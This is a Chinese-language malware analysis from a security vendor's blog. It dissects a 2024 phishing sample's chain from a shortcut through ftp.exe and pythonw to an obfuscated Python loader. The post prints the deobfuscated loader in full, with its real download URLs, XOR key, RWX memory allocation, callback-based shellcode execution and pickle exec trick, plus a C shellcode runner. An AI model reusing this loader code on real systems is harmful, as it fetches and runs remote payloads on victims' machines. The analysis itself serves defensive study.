长亭百川云 - 文章详情

应急响应 - 2024护网钓鱼样本分析

生吃香菜

29

2024-08-09


00


样本来源


    该样本来源于2024Hvv的真实环境钓鱼样本,本次分析希望给大家普及如何避免和防范钓鱼木马。


01


还原木马运行路径

0、一脸懵逼,从压缩包解压之后,进入文件夹只看到了一个文件,可是查看文件夹里面明明写着35个文件啊,但是系统的隐藏文件属性已经关闭了,为什么还只显示1个呢?


1、查看当前路径下还有什么隐藏文件

1dir /a

2、使用【attrib】将隐藏属性删除

1attrib -s -h __init__

1C:\Users\Coriander>attrib /?
2显示或更改文件属性。
3
4
5ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U]
6       [drive:][path][filename] [/S [/D]] [/L]
7
8
9  +   设置属性。
10  -   清除属性。
11  R   只读文件属性。
12  A   存档文件属性。
13  S   系统文件属性。
14  H   隐藏文件属性。
15  O   脱机属性。
16  I   无内容索引文件属性。
17   X   无清理文件属性。
18  V   完整性属性。
19  P   固定属性。
20  U   非固定属性。
21  [drive:][path][filename]
22      指定属性要处理的文件。
23  /S  处理当前文件夹及其所有子文件夹中
24      的匹配文件。
25  /D  也处理文件夹。
26  /L  处理符号链接和
27      符号链接目标的属性

3、查看lnk里面运行路径

1#将【libgcc.dll】以参数的形式传递给【ftp.exe】
2C:\Windows\System32\ftp.exe -""s:__init__\libgcc.dll


4、查看dll内容

1#使用pythonw.exe 执行main.pyw
2!start /b __init__\pythonw.exe __init__\main.pyw
3
4
5#然后启动11.docx
6!start /b __init__\11.docx
7
8
9#脚本的结束标记
10bye


5、查看main.pyw

1#用来导入一个名为action的模块或者包
2import action



6、查看action

1import ast 
2import pickle 
3import ctypes ,urllib .request ,codecs ,base64 
4import sys ,ssl 
5ssl ._create_default_https_context =ssl ._create_unverified_context 
6OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
7def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
8    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
9    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
10        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
11    return bytes (O0OO000OO0OOO0O00 )
12def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
13    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
14def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
15    O0O0OO0O0OO0O00OO =""
16    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
17        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
18    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
19    return O0000O0O0OOO000O0 .decode ()
20OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
21class A (object ):
22    def __reduce__ (OOOOOOOOO000000OO ):
23        return (exec ,(OO00O0OO00OO00OO0 ,))
24def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
25    try :
26        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
27        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
28    except Exception as OO0OOO00000OO00O0 :
29        exit ()
30OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
31OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
32O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )

总结运行路径:

1lnk > 调用Ftp > 使用pythonw调用运行main.pyw > 间接调用action



02


分析样本


1、代码都是用O、0来恶心我们的,所以不用慌,打开IDE就好了。
先整理一下思路,python定义了def之后是不会从上往下执行的,需要被调用之后才会运行,所以只需要先关注运行的代码即可。


2、先看最下面的红框,他是把一段字符串进行了base64的编码,所以我们还原看看是什么。

1import base64
2
3
4
5
6def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
7    O0O0OO0O0OO0O00OO =""
8    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
9        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
10    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
11    return O0000O0O0OOO000O0 .decode ()
12
13
14OO0OOO00O0O00OO0O ="tvpcvulmyrlVuhk0yqhIjosDzwn0nlbgwancrdgGypalpdljqqpaxmw2awvxgrblftiLlxzmkscRxth1cymbcxoXanlBnjfzeyjKvhdEwbfEciroaepKvgqSfqgksocNvgqCpoantnmJfpkllehdbowFchr9txqijjiYqvfXblrNtsllfihNqxsjvrbQbljgpizPmwnSiseBzvbiopfYfliXxvkNgemlsjlNkocjkwjQeayubakYogmjehpYicy0afpZugrWxvl5ninjkgwbmnb2yzcRefulzybKvckHsvzJybrlfprdtqpCstbknnuNzizCjxznckpJwvzluundngsFxeo9igykalmZzxoWkdhNzlzvipsZwlwGxvqUokxgxekPgbmSnoyBtrmikbmYktdXkxqNtboljzdNaanjlddQlyguyoyYrlxjxvlYhat0vyeZdhtGgvnVfixjnzmbukh2rjqRvrslhbeKrzpHfslJcqeleekduluFxkf9siuiibeYlnbXykkNznalnbyNhpijsfvQgyzpscsDkslQgoppjuiwizwaqeeWgzrNgktrtrfbfggGfjwUkkyuyfdbdiyGguo9ncshkctZhckHpfjMzrpozsschipmzgnVcyb0pmgXbmz2bosRlgxlcecYwbt2jsw9mkckmnpZsmrSrnskths="
15OOO00O0O00OO00O0O =OOOOO000O0OOOOO00 (OO0OOO00O0O00OO0O )
16
17
18print(OOO00O0O00OO00O0O)

结果如下

1ret = pickle.dumps(A())
2ret_base64 = base64.b64encode(ret)
3ret_decode = base64.b64decode(ret_base64)
4pickle.loads(ret_decode)

这段Python代码是将对象A()序列化为字节流,然后使用base64编码将字节流转换为base64格式的字符串,接着再将base64字符串解码为字节流,最后使用pickle模块的loads函数将字节流反序列化为对象。


3、再看看A做了什么操作。

1import base64
2import urllib.request
3
4
5OO00O0OO00OO00OO0 =urllib .request .urlopen ('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/1xqRVJEQA9u').read ()
6
7
8
9
10def OOOOO000O0OOOOO00 (OOOOOOOOO0O0OO000 ):
11    O0O0OO0O0OO0O00OO =""
12    for OOOOOO0O000O0OOO0 in range (3 ,len (OOOOOOOOO0O0OO000 ),4 ):
13        O0O0OO0O0OO0O00OO +=OOOOOOOOO0O0OO000 [OOOOOO0O000O0OOO0 ]
14    O0000O0O0OOO000O0 =base64 .b64decode (O0O0OO0O0OO0O00OO )
15    return O0000O0O0OOO000O0 .decode ()
16OO00O0OO00OO00OO0 =OOOOO000O0OOOOO00 (OO00O0OO00OO00OO0 .decode ())
17
18
19
20
21print(OO00O0OO00OO00OO0)
22class A (object ):
23    def __reduce__ (OOOOOOOOO000000OO ):
24        return (exec ,(OO00O0OO00OO00OO0 ,))

结果如下

1import ctypes,urllib.request,codecs,base64
2encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
3encrypted_data = encrypted_data.strip()
4
5
6
7
8while 1:
9    try:
10        #64
11        key = b'IKkOLMFvUYctUgoBy'
12        decoded_data = base64.b64decode(encrypted_data)
13        sc = OO0000OO00O00OOOO(decoded_data, key)
14        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
15        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
16        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
17        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))
18
19
20    except Error as e:
21        print(e)

从指定URL下载加密数据,然后使用给定的密钥解码数据,接着将解密后的数据作为shellcode执行。在执行过程中,代码尝试将shellcode分配到可执行内存中,并调用EnumDateFormatsA函数执行shellcode。

4、A执行之后输出的内容,直接被以下的代码执行

1def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
2    try :
3        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
4        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
5    except Exception as OO0OOO00000OO00O0 :
6        exit ()
7O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O )

5、最后我们把加密部分的shellcode也解密出来把

1import base64
2import urllib.request
3def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
4    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
5    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
6        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
7    return bytes (O0OO000OO0OOO0O00 )
8def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
9    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
10
11
12encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
13encrypted_data = encrypted_data.strip()
14# 64
15key = b'IKkOLMFvUYctUgoBy'
16decoded_data = base64.b64decode(encrypted_data)
17sc = OO0000OO00O00OOOO(decoded_data, key)
18
19
20
21
22with open("shellcode.bin","wb") as file:
23    file.write(sc)


完整代码如下

1import ast
2import pickle
3def O0OO0OO000000OOO0 (O0OOO00O000O0OO0O ,OOOOO0000O0OO00OO ):
4    O0OO000OO0OOO0O00 =bytearray (len (O0OOO00O000O0OO0O ))
5    for OOO000OOO0000O0O0 in range (len (O0OOO00O000O0OO0O )):
6        O0OO000OO0OOO0O00 [OOO000OOO0000O0O0 ]=O0OOO00O000O0OO0O [OOO000OOO0000O0O0 ]^OOOOO0000O0OO00OO [OOO000OOO0000O0O0 %len (OOOOO0000O0OO00OO )]
7    return bytes (O0OO000OO0OOO0O00 )
8def OO0000OO00O00OOOO (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 ):
9    return O0OO0OO000000OOO0 (O00OO00OOO0OOOO0O ,O0O00O00O00OO00O0 )
10OO00O0OO00OO00OO0 ='''
11import ctypes,urllib.request,codecs,base64
12encrypted_data = urllib.request.urlopen('https://static-aliyun-xlsx.oss-cn-beijing.aliyuncs.com/GbyekXDcN').read()
13encrypted_data = encrypted_data.strip()
14while 1:
15    try:
16        #64
17        key = b'IKkOLMFvUYctUgoBy'
18        decoded_data = base64.b64decode(encrypted_data)
19        sc = OO0000OO00O00OOOO(decoded_data, key)
20        ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
21        rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(sc), 0x1000, 0x40)
22        ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(sc), len(sc))
23        ctypes.windll.kernel32.EnumDateFormatsA(ctypes.c_char_p(rwxpage), ctypes.c_int16(0), ctypes.c_int16(0))
24    except Error as e:
25        print(e)
26'''
27class A (object ):
28    def __reduce__ (OOOOOOOOO000000OO ):
29        return (exec ,(OO00O0OO00OO00OO0 ,))
30
31
32def O00O0O0OOO00O0OOO (O000OOO0O0OO0O00O ):
33    try :
34        O00OOO0OO00O00OOO =ast .parse (O000OOO0O0OO0O00O ,mode ='exec')
35        exec (compile (O00OOO0OO00O00OOO ,filename ="<string>",mode ="exec"))
36    except Exception as OO0OOO00000OO00O0 :
37        exit ()
38
39
40OOO00O0O00OO00O0O ='''
41ret = pickle.dumps(A())
42ret_base64 = base64.b64encode(ret)
43ret_decode = base64.b64decode(ret_base64)
44pickle.loads(ret_decode)
45'''
46O00O0O0OOO00O0OOO (OOO00O0O00OO00O0O)


03


外连情况


拿到解密之后的shellcode,我们可以在观察一下他的外连,或是有无后续操作。贴心的给他写一个我们已知操作的loader。

1#include <Windows.h>
2
3
4
5
6int main()
7{
8  HANDLE hFile = CreateFileA("shellcode.bin", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
9
10
11  DWORD nFileSize = GetFileSize(hFile, NULL);
12
13
14  LPVOID shellcode = VirtualAlloc(NULL, nFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
15
16
17  ReadFile(hFile, shellcode, nFileSize, NULL, NULL);
18
19
20    //创建一个线程,实力线程执行shellcode
21    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, NULL);
22
23
24    //等待线程执行完毕
25    WaitForSingleObject(hThread, INFINITE);
26
27
28}

还是个域前置,寄了,后续也没什么动静了,我通过ProcessMonitor也没有发现他有其他操作,那本次的分析就结束了。希望大家有好玩的样本也可以分享给我!有什么不对的地方各位大佬可以在下方留言!!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2